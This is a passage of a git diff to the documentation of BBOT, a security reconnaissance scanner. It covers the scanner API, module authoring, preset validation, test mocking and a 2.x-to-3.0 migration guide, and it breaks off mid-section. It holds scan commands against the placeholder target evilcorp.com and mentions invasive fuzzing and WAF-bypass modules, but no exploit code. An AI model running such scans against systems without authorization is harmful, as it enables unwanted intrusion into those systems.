-In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments that can override the default functionality. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../output.md), a [`whitelist` or `blacklist`](../scanning/index.md#whitelists-and-blacklists), and custom [`config` options](../scanning/configuration.md):
+In many cases, using a [Preset](../scanning/presets.md) like `subdomain-enum` is sufficient. However, the `Scanner` is flexible and accepts many other arguments. You can specify [`flags`](../scanning/index.md#flags-f), [`modules`](../scanning/index.md#modules-m), [`output_modules`](../scanning/output.md) (additive on top of defaults), a [target list / `seeds` / `blacklist`](../scanning/index.md#targets-t-seeds-s-and-blacklists-b), and custom [`config` options](../scanning/configuration.md):
 
 ```python
-# create a scan against multiple targets
 scan = Scanner(
-    # targets
+    # targets (positional args define scope)
     "evilcorp.com",
+    "evilcorp.org",
     "4.3.2.1",
     # enable these presets
     presets=["subdomain-enum"],
-    # whitelist these hosts
-    whitelist=["evilcorp.com", "evilcorp.org"],
+    # seeds drive passive modules without affecting scope
+    seeds=["1.2.3.4/24"],
     # blacklist these hosts
     blacklist=["prod.evilcorp.com"],
     # also enable these individual modules
diff --git a/docs/dev/module_howto.md b/docs/dev/module_howto.md
index 49425bff41..ec68850544 100644
--- a/docs/dev/module_howto.md
+++ b/docs/dev/module_howto.md
@@ -10,21 +10,24 @@ Here we'll go over a basic example of writing a custom BBOT module.
    - the class must have the same name as your file (case-insensitive)
 1. Define in `watched_events` what type of data your module will consume
 1. Define in `produced_events` what type of data your module will produce
-1. Define (via `flags`) whether your module is `active` or `passive`, and whether it's `safe` or `aggressive`
+1. Define (via `flags`) whether your module is `active` or `passive`, and whether it's `safe`, `loud`, or `invasive`
 1. **Put your main logic in `.handle_event()`**
 
 Here is an example of a simple module that performs whois lookups:
 
 ```python title="bbot/modules/whois.py"
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 class whois(BaseModule):
     watched_events = ["DNS_NAME"] # watch for DNS_NAME events
-    produced_events = ["WHOIS"] # we produce WHOIS events
+    produced_events = ["DNS_NAME"] # we produce DNS_NAME events
     flags = ["passive", "safe"]
-    meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
-    options = {"api_key": ""} # module config options
-    options_desc = {"api_key": "WhoisXMLAPI Key"}
+    meta = {"description": "Query WhoisXMLAPI for related domains"}
+
+    class Config(BaseModuleConfig):
+        api_key: str = Field("", description="WhoisXMLAPI Key", sensitive=True, mandatory=True)
+
     per_domain_only = True # only run once per domain
 
     base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
@@ -43,7 +46,8 @@ class whois(BaseModule):
         self.hugeinfo(f"Visiting {url}")
         response = await self.helpers.request(url)
         if response is not None:
-            await self.emit_event(response.json(), "WHOIS", parent=event)
+            for related_domain in response.json().get("domains", []):
+                await self.emit_event(related_domain, "DNS_NAME", parent=event)
 ```
 
 ## Test your new module
@@ -76,9 +80,9 @@ For details on how tests are written, see [Unit Tests](./tests.md).
 
 ## `handle_event()` and `emit_event()`
 
-The `handle_event()` method is the most important part of the module. By overriding this method, you control what the module does. During a scan, when an [event](./scanning/events.md) from your `watched_events` is encountered (a `DNS_NAME` in this example), `handle_event()` is automatically called with that event as its argument.
+The `handle_event()` method is the most important part of the module. By overriding this method, you control what the module does. During a scan, when an [event](../scanning/events.md) from your `watched_events` is encountered (a `DNS_NAME` in this example), `handle_event()` is automatically called with that event as its argument.
 
-The `emit_event()` method is how modules return data. When you call `emit_event()`, it creates an [event](./scanning/events.md) and outputs it, sending it any modules that are interested in that data type.
+The `emit_event()` method is how modules return data. When you call `emit_event()`, it creates an [event](../scanning/events.md) and outputs it, sending it any modules that are interested in that data type.
 
 ## `setup_deps()` and `setup()`
 
@@ -115,43 +119,44 @@ async def setup(self):
 
 ## Module Config Options
 
-Each module can have its own set of config options. These live in the `options` and `options_desc` attributes on your class. Both are dictionaries; `options` is for defaults and `options_desc` is for descriptions. Here is a typical example:
+Each module can have its own set of config options. These are defined as a `Config` inner class that inherits from `BaseModuleConfig`, using pydantic `Field` for defaults and descriptions. Here is a typical example:
 
-```python title="bbot/modules/nmap.py"
-class nmap(BaseModule):
+```python title="bbot/modules/portscan.py"
+from bbot.core.config.models import BaseModuleConfig, Field
+
+class portscan(BaseModule):
     # ...
-    options = {
-        "top_ports": 100,
-        "ports": "",
-        "timing": "T4",
-        "skip_host_discovery": True,
-    }
-    options_desc = {
-        "top_ports": "Top ports to scan (default 100) (to override, specify 'ports')",
-        "ports": "Ports to scan",
-        "timing": "-T<0-5>: Set timing template (higher is faster)",
-        "skip_host_discovery": "skip host discovery (-Pn)",
-    }
+    class Config(BaseModuleConfig):
+        top_ports: int = Field(100, description="Top ports to scan (default 100) (to override, specify 'ports')")
+        ports: str = Field("", description="Ports to scan")
+        rate: int = Field(300, description="Rate in packets per second")
+        wait: int = Field(5, description="Seconds to wait for replies after scan is complete")
 
     async def setup(self):
         self.ports = self.config.get("ports", "")
-        self.timing = self.config.get("timing", "T4")
+        self.rate = self.config.get("rate", 300)
         self.top_ports = self.config.get("top_ports", 100)
-        self.skip_host_discovery = self.config.get("skip_host_discovery", True)
         return True
 ```
 
-Once you've defined these variables, you can pass the options via `-c`:
+For API keys and other secrets, use `sensitive=True` (redacted in logs) and `mandatory=True` (module soft-fails if not set):
+
+```python
+class Config(BaseModuleConfig):
+    api_key: str = Field("", description="API Key", sensitive=True, mandatory=True)
+```
+
+Once you've defined these fields, you can pass the options via `-c`:
 
 ```bash
-bbot -m nmap -c modules.nmap.top_ports=250
+bbot -m portscan -c modules.portscan.top_ports=250
 ```
 
 ... or via the config:
 
 ```yaml title="~/.config/bbot/bbot.yml"
 modules:
-  nmap:
+  portscan:
     top_ports: 250
 ```
 
diff --git a/docs/dev/preset_validation.md b/docs/dev/preset_validation.md
new file mode 100644
index 0000000000..48b993dd07
--- /dev/null
+++ b/docs/dev/preset_validation.md
@@ -0,0 +1,146 @@
+# Validating, Sanitizing, and Inspecting Presets
+
+BBOT's preset and module configs are described by [pydantic](https://docs.pydantic.dev/) models — the same models that power `bbot -l` and `bbot --help`. The helpers below let you reuse those models from your own code to validate a preset, redact sensitive values, or dump module metadata.
+
+All of these helpers work on plain dicts (i.e. what you'd get from `yaml.safe_load`), so you can call them before instantiating a `Preset` or `Scanner`.
+
+## Validate a preset
+
+[`validate_preset`](https://github.com/blacklanternsecurity/bbot/blob/dev/bbot/scanner/preset/validate.py) catches typos and type errors in one pass — top-level preset keys, global config, unknown module names, and per-module options:
+
+```python
+from bbot.scanner import validate_preset
+
+errors = validate_preset({
+    "modules": ["nuclei"],
+    "config": {
+        "scope": {"strict": True},
+        "modules": {"nuclei": {"ratelimit": 200}},
+    },
+})
+
+for err in errors:
+    print(err)
+```
+
+Empty list → valid. Each [`PresetValidationError`](https://github.com/blacklanternsecurity/bbot/blob/dev/bbot/scanner/preset/validate.py) carries a `where` (e.g. `"preset"`, `"config"`, `"module:nuclei"`), a dotted `path`, and a human-readable `message` with closest-match suggestions when applicable. To validate a YAML file directly, use `validate_preset_file(path)`.
+
+## Redact secrets from a config
+
+Each module's `class Config(BaseModuleConfig)` declares which fields are sensitive (`sensitive=True`) and/or required (`mandatory=True`). `BBOTCore.no_secrets_config()` walks the config dict alongside those schemas and removes only fields explicitly marked sensitive — no fuzzy name matching:
+
+```python
+from bbot.core import CORE
+
+config = {
+    "interactsh_token": "leaky",
+    "web": {"http_cookies": {"session": "abc"}},
+    "modules": {
+        "shodan_dns": {"api_key": "sh-secret"},
+        "robots": {"include_sitemap": True},
+    },
+}
+
+print(CORE.no_secrets_config(config))
+# {'web': {}, 'modules': {'shodan_dns': {}, 'robots': {'include_sitemap': True}}}
+
+print(CORE.secrets_only_config(config))
+# {'interactsh_token': 'leaky', 'web': {'http_cookies': {'session': 'abc'}}, ...}
+```
+
+The `Preset.to_dict()` method exposes the same behavior via a `redact_secrets=True` flag:
+
+```python
+preset.to_dict(include_target=True, redact_secrets=True)
+```
+
+## Mark your own fields sensitive or mandatory
+
+When you write a module, import `Field` from `bbot.core.config.models` (not from `pydantic` directly) so the `sensitive` and `mandatory` keyword args are accepted:
+
+```python
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class my_module(BaseModule):
+    class Config(BaseModuleConfig):
+        api_key: str = Field("", description="My API key", sensitive=True, mandatory=True)
+        verbose: bool = Field(False, description="Print extra detail")
+```
+
+- `sensitive=True` — value is redacted by `no_secrets_config()` / `Preset.to_dict(redact_secrets=True)` and lives in `~/.config/bbot/secrets.yml` rather than `bbot.yml`.
+- `mandatory=True` — module needs this option to function. Drives the **Needs API Key** column in `bbot -l` and the runtime `BaseModule.auth_required` property.
+
+A field can carry both, just one, or neither.
+
+## Dump all module metadata
+
+`MODULE_LOADER.preloaded()` returns the full preload dict for every module — descriptions, flags, watched/produced events, deps, and (since the field-metadata refactor) the per-module `options_sensitive` and `options_mandatory` field-name sets:
+
+```python
+from bbot.core.modules import MODULE_LOADER
+
+MODULE_LOADER.preload()
+shodan = MODULE_LOADER.preloaded()["shodan_dns"]
+print(shodan["options_mandatory"])  # ['api_key']
+print(shodan["options_sensitive"])  # ['api_key']
+```
+
+For pretty-printed tables, use `MODULE_LOADER.modules_table()` (module summary) or `MODULE_LOADER.modules_options_table()` (per-option name/type/description/default) — these are what `bbot -l` and `bbot --help -m <module>` render.
+
+## Filter options by `sensitive` / `mandatory`
+
+To collect dotted-path keys (e.g. `modules.shodan_dns.api_key`) for every option carrying a particular flag, you have two options depending on scope.
+
+**Per-module only** — fast, no schema walk. The flag sets are pre-extracted on each preloaded module, so this is just a dict comprehension:
+
+```python
+from bbot.core.modules import MODULE_LOADER
+
+MODULE_LOADER.preload()
+
+sensitive_paths = [
+    f"modules.{name}.{opt}"
+    for name, p in MODULE_LOADER.preloaded().items()
+    for opt in p.get("options_sensitive") or []
+]
+
+mandatory_paths = [
+    f"modules.{name}.{opt}"
+    for name, p in MODULE_LOADER.preloaded().items()
+    for opt in p.get("options_mandatory") or []
+]
+
+# Both flags at once (e.g. an api-key audit — fields a module needs *and* hides):
+both = [
+    f"modules.{name}.{opt}"
+    for name, p in MODULE_LOADER.preloaded().items()
+    for opt in set(p.get("options_sensitive") or []) & set(p.get("options_mandatory") or [])
+]
+```
+
+**Per-module *and* global** — walk `MODULE_LOADER.config_schema`, which is the composite pydantic model with global keys (e.g. `interactsh_token`, `web.http_cookies`) and every module's `Config` grafted in under `modules.<name>`:
+
+```python
+import typing
+from pydantic import BaseModel
+from bbot.core.config.models import is_sensitive, is_mandatory
+
+def schema_paths(model, *, predicate, prefix=""):
+    """Yield dotted paths for every field where `predicate(FieldInfo)` is True."""
+    for name, field in model.model_fields.items():
+        path = f"{prefix}{name}"
+        ann = field.annotation
+        # unwrap Optional[X]
+        if typing.get_origin(ann) is typing.Union:
+            ann = next((a for a in typing.get_args(ann) if a is not type(None)), ann)
+        if isinstance(ann, type) and issubclass(ann, BaseModel):
+            yield from schema_paths(ann, predicate=predicate, prefix=f"{path}.")
+        elif predicate(field):
+            yield path
+
+all_sensitive = list(schema_paths(MODULE_LOADER.config_schema, predicate=is_sensitive))
+# ['web.http_cookies', 'interactsh_token', 'modules.shodan_dns.api_key', ...]
+```
+
+The same pattern works for any field-metadata key you stash via `Field(..., json_schema_extra={...})` — swap the `predicate` for your own check.
diff --git a/docs/dev/target.md b/docs/dev/target.md
index 6740cfb744..b5420801c7 100644
--- a/docs/dev/target.md
+++ b/docs/dev/target.md
@@ -2,7 +2,7 @@
 
 ::: bbot.scanner.target.ScanSeeds
 
-::: bbot.scanner.target.ScanWhitelist
+::: bbot.scanner.target.ScanTarget
 
 ::: bbot.scanner.target.ScanBlacklist
 
diff --git a/docs/dev/tests.md b/docs/dev/tests.md
index 4381981812..f5c6105c05 100644
--- a/docs/dev/tests.md
+++ b/docs/dev/tests.md
@@ -10,13 +10,13 @@ We have GitHub Actions that automatically run tests whenever you open a Pull Req
 
 ```bash
 # lint with ruff
-poetry run ruff check
+uv run ruff check
 
 # format code with ruff
-poetry run ruff format
+uv run ruff format
 
 # run all tests with pytest (takes roughly 30 minutes)
-poetry run pytest
+uv run pytest
 ```
 
 ### Running specific tests
@@ -25,18 +25,18 @@ If you only want to run a single test, you can select it with `-k`:
 
 ```bash
 # run only the sslcert test
-poetry run pytest -k test_module_sslcert
+uv run pytest -k test_module_sslcert
 ```
 
 You can also filter like this:
 ```bash
 # run all the module tests except for sslcert
-poetry run pytest -k "test_module_ and not test_module_sslcert"
+uv run pytest -k "test_module_ and not test_module_sslcert"
 ```
 
 If you want to see the output of your module, you can enable `--log-cli-level`:
 ```bash
-poetry run pytest --log-cli-level=DEBUG
+uv run pytest --log-cli-level=DEBUG
 ```
 
 ## Example: Writing a Module Test
@@ -53,8 +53,8 @@ class TestMyModule(ModuleTestBase):
 
     async def setup_after_prep(self, module_test):
         # mock HTTP response
-        module_test.httpx_mock.add_response(
-            url="https://api.com/sudomains?apikey=deadbeef&domain=blacklanternsecurity.com",
+        module_test.blasthttp_mock.add_response(
+            url="https://api.com/subdomains?apikey=deadbeef&domain=blacklanternsecurity.com",
             json={
                 "subdomains": [
                     "www.blacklanternsecurity.com",
@@ -81,25 +81,122 @@ class TestMyModule(ModuleTestBase):
         assert "dev.blacklanternsecurity.com" in dns_names, "failed to find subdomain #2"
 ```
 
+### Mocking HTTP responses
+
+`module_test.blasthttp_mock` intercepts all outbound HTTP requests during tests. Requests to `127.0.0.1`/`localhost` pass through to the real test HTTP server, but everything else is mocked.
+
+```python
+    async def setup_after_prep(self, module_test):
+        # JSON response
+        module_test.blasthttp_mock.add_response(
+            url="https://api.example.com/lookup?domain=blacklanternsecurity.com",
+            json={"subdomains": ["www.blacklanternsecurity.com"]},
+        )
+
+        # plain text response
+        module_test.blasthttp_mock.add_response(
+            url="https://example.com/data.txt",
+            text="some plain text response",
+        )
+
+        # error response
+        module_test.blasthttp_mock.add_response(
+            url="https://example.com/broken",
+            status_code=500,
+            text="Internal Server Error",
+        )
+
+        # match on specific method and headers
+        module_test.blasthttp_mock.add_response(
+            url="https://api.example.com/submit",
+            method="POST",
+            match_headers={"Authorization": "Bearer mytoken"},
+            json={"status": "ok"},
+        )
+```
+
+### Mocking DNS
+
+Use `module_test.mock_dns()` to control DNS resolution. Supports A, AAAA, CNAME, MX, TXT, and other record types:
+
+```python
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({
+            "blacklanternsecurity.com": {"A": ["127.0.0.88"]},
+            "www.blacklanternsecurity.com": {"CNAME": ["blacklanternsecurity.com"]},
+            "mail.blacklanternsecurity.com": {"MX": ["mx.example.com"]},
+        })
+```
+
 ### Debugging a test
 
-Similar to debugging from within a module, you can debug from within a test using `self.log.critical()`, etc:
+You can debug from within a test using standard Python logging via `self.log`:
 
 ```python
     def check(self, module_test, events):
         for e in events:
-            # bright red
-            self.log.critical(e.type)
-            # bright green
-            self.log.hugesuccess(e.data)
-            # bright orange
-            self.log.hugewarning(e.tags)
-            # bright blue
-            self.log.hugeinfo(e.parent)
+            self.log.critical(e.type)     # bright red
+            self.log.warning(e.tags)      # orange
+            self.log.info(e.data)         # blue
+            self.log.debug(e.parent)      # grey (requires -d)
+```
+
+### Advanced test features
+
+#### HTTP request handlers
+
+For dynamic HTTP responses, use `set_expect_requests_handler` with a custom handler function:
+
+```python
+import re
+from werkzeug.wrappers import Response
+
+class TestMyModule(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "mymodule"]
+
+    def request_handler(self, request):
+        if request.path == "/api/data":
+            return Response('{"results": ["found"]}', status=200)
+        return Response("Not Found", status=404)
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests_handler(
+            expect_args=re.compile("/.*"),
+            request_handler=self.request_handler,
+        )
+```
+
+#### OOB interaction mocking
+
+For modules that use out-of-band interactions (interactsh):
+
+```python
+    async def setup_before_prep(self, module_test):
+        self.interactsh_mock_instance = module_test.mock_interactsh("mymodule")
+
+        from bbot.core.helpers.helper import ConfigAwareHelper
+        module_test.monkeypatch.setattr(
+            ConfigAwareHelper, "interactsh",
+            lambda *a, **kw: self.interactsh_mock_instance,
+        )
+```
+
+#### Other class attributes
+
+```python
+class TestMyModule(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]   # override default target
+    modules_overrides = ["http", "mymodule"]  # control which modules are enabled
+    module_name = "mymodule"               # if your class name doesn't match the module
+    config_overrides = {"modules": {"mymodule": {"option": "value"}}}
+    blacklist = ["bad.example.com"]        # set a blacklist
+    seeds = ["seed.example.com"]           # set seeds separate from targets
+    skip_distro_tests = True               # skip when running in CI distro tests (e.g. docker-dependent tests)
 ```
 
-### More advanced tests
+### More examples
 
 If you have questions about tests or need to write a more advanced test, come talk to us on [GitHub](https://github.com/blacklanternsecurity/bbot/discussions) or [Discord](https://discord.com/invite/PZqkgxu5SA).
 
-It's also a good idea to look through our [existing tests](https://github.com/blacklanternsecurity/bbot/tree/stable/bbot/test/test_step_2/module_tests). BBOT has over a hundred of them, so you might find one that's similar to what you're trying to do.
+It's also a good idea to look through our [existing tests](https://github.com/blacklanternsecurity/bbot/tree/dev/bbot/test/test_step_2/module_tests). BBOT has over 300 of them, so you might find one that's similar to what you're trying to do.
diff --git a/docs/diagrams/module-recursion.drawio b/docs/diagrams/module-recursion.drawio
index 9d7e92a001..3c16964539 100644
--- a/docs/diagrams/module-recursion.drawio
+++ b/docs/diagrams/module-recursion.drawio
@@ -42,7 +42,7 @@
             </Array>
           </mxGeometry>
         </mxCell>
-        <mxCell id="he0SLGXkaBVM0eI8LB2F-1" value="&lt;span style=&quot;color: rgb(255, 255, 255); font-family: hack; font-size: 18px;&quot;&gt;httpx&lt;/span&gt;" style="rounded=1;whiteSpace=wrap;html=1;sketch=1;curveFitting=1;jiggle=2;fillColor=#000000;strokeColor=#FFFFFF;" vertex="1" parent="1">
+        <mxCell id="he0SLGXkaBVM0eI8LB2F-1" value="&lt;span style=&quot;color: rgb(255, 255, 255); font-family: hack; font-size: 18px;&quot;&gt;http&lt;/span&gt;" style="rounded=1;whiteSpace=wrap;html=1;sketch=1;curveFitting=1;jiggle=2;fillColor=#000000;strokeColor=#FFFFFF;" vertex="1" parent="1">
           <mxGeometry x="549" y="381" width="191" height="50" as="geometry" />
         </mxCell>
         <mxCell id="he0SLGXkaBVM0eI8LB2F-7" value="&lt;font face=&quot;hack&quot; data-font-src=&quot;https://fonts.googleapis.com/css?family=hack&quot;&gt;OPEN_TCP_PORT&lt;/font&gt;" style="text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontFamily=Helvetica;fontSize=24;fontColor=#FF8400;labelBackgroundColor=none;fontStyle=1" vertex="1" parent="1">
diff --git a/docs/index.md b/docs/index.md
index 7f0b9c6be6..4bedf21728 100644
--- a/docs/index.md
+++ b/docs/index.md
@@ -92,7 +92,7 @@ bbot -t evilcorp.com -p subdomain-enum -m portscan gowitness -n my_scan -o .
 
 ```bash
 # A basic web scan includes robots.txt, storage buckets, IIS shortnames, and other non-intrusive web modules
-bbot -t evilcorp.com -p subdomain-enum web-basic
+bbot -t evilcorp.com -p subdomain-enum web
 ```
 
 **Web spider:**
diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md
new file mode 100644
index 0000000000..a7fae3a761
--- /dev/null
+++ b/docs/migration/3.0_breaking_changes.md
@@ -0,0 +1,665 @@
+# Migrating from BBOT 2.x to 3.0
+
+BBOT 3.0 is a major release with a wide-ranging cleanup of the CLI, preset
+syntax, event API, and module ecosystem. This page enumerates everything that
+changed in a backwards-incompatible way so existing scans, custom modules, and
+integrations can be updated.
+
+If a change is missing here, please open an issue.
+
+---
+
+## CLI / Targeting
+
+The `--whitelist` concept was retired. BBOT now distinguishes between **target**
+(what defines scope, i.e. what `in_target()` checks) and **seeds** (the events
+that actually drive passive modules at scan start).
+
+| 2.x | 3.0 |
+|-----|-----|
+| `-t / --targets` (seed + scope) | `-t / --targets` (scope only) |
+| `-w / --whitelist`              | removed (positional `-t` now plays this role) |
+| *(no equivalent)*               | `-s / --seeds` (optional override of seed events) |
+| `-s / --silent`                 | `-S / --silent` (capitalized; `-s` reassigned to `--seeds`) |
+| `--allow-deadly`                | removed (see flag changes below) |
+
+Behavior:
+
+- If `--seeds` is omitted, seeds default to whatever was passed to `--targets`,
+  so the simple case (`bbot -t evilcorp.com -p subdomain-enum`) is unchanged.
+- `--strict-scope` now means "only this exact host, no subdomains" against the
+  target, not the whitelist.
+- The `Preset(...)` Python API mirrors the CLI: positional args are the
+  **target**, and `seeds=` is a keyword. `whitelist=` is gone.
+
+### Python API
+
+```python
+# 2.x
+preset = Preset("evilcorp.com", whitelist=["evilcorp.com", "evilcorp.net"])
+scan.whitelist  # Target object
+scan.whitelisted(host)
+
+# 3.0
+preset = Preset("evilcorp.com", "evilcorp.net", seeds=["evilcorp.com"])
+scan.target          # BBOTTarget wrapper
+scan.target.target   # the radix-backed scope
+scan.target.seeds    # seed events
+scan.in_target(host)
+```
+
+`Scanner.whitelist` and `Scanner.whitelisted()` have been removed.
+`BBOTTarget.whitelist` is now `BBOTTarget.target`. Pickling of `BBOTTarget` was
+also removed.
+
+---
+
+## Flags
+
+| Removed             | Replacement / notes |
+|---------------------|---------------------|
+| `aggressive`        | use `loud` (network volume) and/or `invasive` (destructive) |
+| `deadly`            | dropped along with `--allow-deadly`; affected modules now live under regular flags |
+| `noisy`             | renamed to `loud` |
+| `web-basic`         | renamed to `web` |
+| `web-thorough`      | renamed to `web-heavy` |
+
+| Added       | Meaning |
+|-------------|---------|
+| `invasive`  | Intrusive or potentially destructive |
+| `safe`      | Non-intrusive and non-destructive (now enforced on every module) |
+| `download`  | Modules that download files, apps, or repositories |
+| `web-heavy` | More advanced web scanning functionality |
+
+Every module must now declare at least one of `passive` / `active` **and** at
+least one of `safe`, `loud`, or `invasive`. Custom modules carrying the removed
+flags will fail validation.
+
+---
+
+## Presets
+
+### Renamed
+
+| 2.x                  | 3.0                |
+|----------------------|--------------------|
+| `web-basic`          | `web`              |
+| `nuclei-intense`     | `nuclei-heavy`     |
+| `spider-intense`     | `spider-heavy`     |
+
+### Removed
+
+- `web-thorough` (use `web-heavy`)
+- `baddns-intense` (the baddns preset tiers were rebuilt; use `baddns` /
+  `baddns-heavy`)
+- `web/lightfuzz-medium`, `web/lightfuzz-superheavy` (lightfuzz preset tiers
+  were rebuilt; see `web/lightfuzz`, `web/lightfuzz-heavy`,
+  `web/lightfuzz-max`)
+
+### Added
+
+`baddns`, `baddns-heavy`, `web-heavy`, `web/lightfuzz`, `web/lightfuzz-max`,
+`web/paramminer-heavy`.
+
+### Syntax
+
+Preset YAML files now accept the singular key `target:` in addition to
+`targets:` (both are merged). The old `whitelist:` key is gone; use `seeds:` if
+you need seeds that differ from the target. Lines beginning with `#` inside
+target / seed / blacklist lists are stripped as comments. File paths in those
+lists are resolved relative to the preset file via the new `PresetPath`
+mechanism.
+
+The top-level scan options that used to be implicit are now required to live
+under `config:` inside a preset (this was previously documented behavior, now
+enforced and called out in `defaults.yml`).
+
+Presets and `-c key=value` options are now **validated when loaded**: unknown
+keys, typos, and wrong value types are rejected up front (usually with a
+closest-match hint, e.g. `Did you mean "scope.strict"?`) instead of being
+silently ignored. The old `${env:VAR}` interpolation inside config values is
+gone too; inject secrets with shell expansion
+(`-c modules.shodan.api_key="$SHODAN_KEY"`) or keep them in `secrets.yml`.
+
+---
+
+## Modules
+
+### Removed (no direct replacement)
+
+- `azure_realm`
+- `digitorus`
+- `passivetotal`
+- `sitedossier`
+- `smuggler`
+- `wappalyzer`
+- `wpscan` (dropped over a heavy Ruby/compiler install footprint and an
+  unmaintained upstream)
+
+### Removed and replaced
+
+| 2.x              | 3.0 replacement |
+|------------------|-----------------|
+| `httpx`          | `http`          |
+| `ffuf`           | `webbrute`      |
+| `ffuf_shortnames`| `webbrute_shortnames` |
+| `bucket_azure`   | `bucket_microsoft` |
+| `extractous`     | `kreuzberg` |
+| `output.http`    | `output.webhook` |
+| `vhost`          | `virtualhost` (rebuilt; emits the new `VIRTUAL_HOST` event) |
+| `censys` (single module) | split into `censys_dns` and `censys_ip` |
+
+If you used any of these in a custom preset or `-m` / `-em` invocation, update
+the module name accordingly. The `--list-modules` output is the source of
+truth.
+
+!!! warning "The `http` name was reassigned"
+    The module called `http` in 3.0 is **not** the same as the output module
+    called `http` in 2.x. The name was reassigned:
+
+    - **`http` (3.0, scan module)** -- the replacement for the old `httpx`
+      scan module. Probes URLs over the shared in-process blasthttp client.
+    - **`output.http` (2.x, output module)** -- the webhook-style output module
+      that POSTed events to an arbitrary HTTP endpoint. This is now
+      `output.webhook` in 3.0.
+
+    Old scans that ran `bbot -om http ...` were emitting events to a webhook;
+    in 3.0 the equivalent is `bbot -om webhook ...`. The new `bbot -m http ...`
+    is a scan module that probes URLs, which is a completely different thing.
+
+### New modules worth knowing about
+
+- `http` -- replaces `httpx`; runs through the in-process [blasthttp](https://github.com/blacklanternsecurity/blasthttp) client.
+- `webbrute` / `webbrute_shortnames` -- ffuf replacements, also via blasthttp.
+- `bucket_hetzner`, `shodan_enterprise`, `trajan`, `legba`.
+- `waf_bypass` -- finds WAF/CDN bypasses by reaching protected content directly via origin IPs (SimHash content matching, with optional ASN-neighbor exploration).
+- Output: `elastic`, `kafka`, `mongo`, `nats`, `rabbitmq`, `zeromq`.
+- Lightfuzz submodules `esi` and `ssrf`.
+
+### Module API
+
+- `BaseModule` no longer has `_event_handler_watchdog_task` as a class
+  attribute and the watchdog is owned by `_setup()`.
+- New `BaseModule.update_event(event, **kwargs)` and `emit_event(existing_event,
+  ...)` flow. Passing an existing event to `make_event()` now raises -- call
+  `update_event()` instead.
+- New `BaseModule.setup_deps()` lifecycle hook (runs alongside `setup()` for
+  pure dependency installation like AI models or wordlists).
+- New `_disable_auto_module_deps = True` opt-out so a module that watches URLs
+  doesn't automatically pull in `http`/`blasthttp`.
+- New `accept_seeds` attribute. Defaults to `True` for passive modules,
+  `False` otherwise. Override explicitly if you want different behavior.
+- `default_discovery_context` now uses `{event.pretty_string}` instead of
+  `{event.data}` -- the latter is now a dict for URL-like events (see below).
+- New `BaseModule._is_http_wildcard_host(event)` helper. Returns `True` when
+  the target responds identically to two random paths (catch-all / SPA
+  router). Used by `webbrute`, `lightfuzz`, and `paramminer` to skip hosts
+  that would produce only false positives.
+
+---
+
+## Events
+
+### Removed event types
+
+- `VULNERABILITY` is gone. Emit a `FINDING` with `severity` set to
+  `"CRITICAL"`, `"HIGH"`, `"MEDIUM"`, `"LOW"`, or `"INFO"` instead. The pseudo
+  event type `TARGET` was also retired in favor of `SEED`.
+- `VHOST` was renamed to `VIRTUAL_HOST`, emitted by the rebuilt `virtualhost`
+  module (formerly `vhost`).
+
+### Class hierarchy
+
+| 2.x | 3.0 |
+|-----|-----|
+| `URL_UNVERIFIED(BaseEvent)` -- data is a string | `URL_UNVERIFIED(DictHostEvent)` -- data is a dict with `url`, `path`, etc. |
+| `URL(URL_UNVERIFIED)` -- string data           | `URL(URL_UNVERIFIED)` -- dict data |
+| `STORAGE_BUCKET(DictEvent, URL_UNVERIFIED)`   | `STORAGE_BUCKET(URL_UNVERIFIED)` |
+| `HTTP_RESPONSE(URL_UNVERIFIED, DictEvent)`    | `HTTP_RESPONSE(URL_UNVERIFIED)` |
+| `DictPathEvent(DictEvent)`                    | `DictPathEvent(DictHostEvent)` |
+| *(no UDP event)*                              | `OPEN_UDP_PORT(OPEN_TCP_PORT)` |
+
+URL events are now dict-backed. Reading `.data` on a `URL` / `URL_UNVERIFIED` /
+`HTTP_RESPONSE` returns a dict, not a string. Use the new `event.url` property
+to get the URL string, or `event.pretty_string` for a human-readable form.
+Many built-in modules and most tests were updated accordingly; custom modules
+that compared or formatted `event.data` for URL events must be updated.
+
+### Removed attributes
+
+- `event.confidence` and `event.cumulative_confidence` no longer exist on
+  `BaseEvent`. Confidence is now a per-finding value carried inside
+  `FINDING.data["confidence"]` and validated against
+  `("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED")`.
+- `source_domain` has been removed from events.
+- `_always_emit_tags`: the literal tag `"target"` was renamed to `"seed"`.
+- Tags `ip-<address>`, `http-title-<title>`, and `cloud-<type>` are no longer
+  emitted as event tags by the `http` / cloudcheck pipelines. Use
+  `event.resolved_hosts`, `event.host_metadata`, and the simplified cloud tags
+  (`cloud`, plus a single provider tag) instead.
+
+### New event surface
+
+- `event.url` -- string URL property (works on URL-like events, returns `""`
+  otherwise).
+- `event.pretty_string` -- human-readable representation, used in logs and
+  discovery context.
+- `event.host_metadata` -- dict of structured per-host metadata (cloud
+  providers, ASN info, etc.). Replaces the long-tail of `cloud-*` tags.
+- Mutation helpers `add_resolved_host()`, `update_resolved_hosts()`,
+  `add_dns_child()`, `set_raw_dns_record()`. Direct assignment to the backing
+  slots (`event._resolved_hosts = ...`, `event.dns_children["A"].add(...)`) is
+  no longer the public contract: the slots are lazily initialized to `None`
+  for memory reasons and exposed read-only via properties.
+
+### FINDING severity / confidence
+
+`FINDING.data` is now validated against a fixed allowlist:
+
+- `severity`: `"INFO" | "LOW" | "MEDIUM" | "HIGH" | "CRITICAL"`
+  (the old `"INFORMATIONAL"` and `"MODERATE"` values have been renamed to
+  `INFO` and `MEDIUM`)
+- `confidence`: `"UNKNOWN" | "LOW" | "MEDIUM" | "HIGH" | "CONFIRMED"`
+
+Severity and confidence are recorded on the event as `severity-<level>` and
+`confidence-<level>` tags. Lowercase tags like `high` or `medium` are no
+longer added directly.
+
+### ASN as a target type
+
